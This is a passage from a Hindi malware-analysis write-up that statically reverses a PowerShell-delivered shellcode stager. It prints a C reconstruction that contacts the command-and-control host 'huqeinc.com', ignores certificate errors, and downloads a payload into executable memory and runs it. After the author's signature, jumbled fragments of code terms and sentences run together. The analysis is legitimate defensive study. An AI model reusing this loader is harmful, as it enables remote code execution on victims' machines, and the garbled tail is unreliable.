यह पढ़ने के परिदृश्यों में सामान्य है - हम हर बार अधिकतम 0x2000 बाइट्स पढ़ते हैं जब तक कि हम 0 न पढ़ लें, जिसका मतलब है कि पढ़ने के लिए कोई बाइट्स नहीं बची हैं।
यदि हम कूदते नहीं हैं तो हम 0x32a पर होते हैं, जहाँ हम आवंटित बाइट्स को स्टैक से pop करते हैं और ret को कॉल करते हैं।
याद दिलाने के लिए, हमने पहले लौटाए गए बफर की शुरुआत को पुश किया था, इसलिए ret इसे रिटर्न पते के रूप में उपयोग करेगा।
इसका मतलब है कि हम बस उस बफर पर कूद जाते हैं जो हमें मिला - अनिवार्य रूप से इसे एक और शेलकोड के रूप में मानते हुए!
हमारा शेलकोड अवधारणात्मक रूप से कुछ ऐसा दिख सकता है:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();
// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");
// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));
// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);
// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);
// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();
## सारांश
हालाँकि यह देखने के लिए एक बहुत ही सामान्य shellcode है, स्थिर रूप से इसका विश्लेषण करने के सीखने के लाभ हैं:
- हमने 32-बिट shellcode प्राप्त करने के लिए PowerShell कोड की कई परतें निकालीं।
- shellcode विश्लेषण के दौरान हमने Windows पर `PEB` और shellcoding रणनीति पर चर्चा की।
- हमने reverse-hash लुकअप के लिए एक टूल बनाया (इस रिपॉजिटरी में `get_hash.py` देखें)।
- हमने सामान्य shellcode तकनीकों जैसे `push-ret` और `call-pop` पर चर्चा की।
- हमने `PE` फ़ाइल संरचना के कुछ हिस्सों को छुआ।
धन्यवाद,
Jonathan Bar Or (https://jonathanbaror.com)
MEM_COMMIT | MEM_RESERVEPAGE_EXECUTEREADWRITE$var_code पर मौजूद पेलोड (जो base64-डिकोड किया गया था और स्थिरांक 35 के साथ XORed था) को बफर में कॉपी किया जाता है और फिर निष्पादित किया जाता है ($var_runme डेलीगेट के साथ किया जाता है)।$DoIt को निष्पादित करता है।ecxeaxloop निर्देश (जो ecx के साथ इंटरैक्ट करता है) का उपयोग करने के बजाय, हम बस वापस कूदते हैं (jne के साथ) - जब तक हमें NUL समाप्तक का सामना नहीं करना पड़ता।wininet.dll!InternetErrorDlg0x2f00 ERROR_INTERNET_FORCE_RETRY है, और हम InternetErrorDlg के परिणाम की तुलना इससे करते हैं।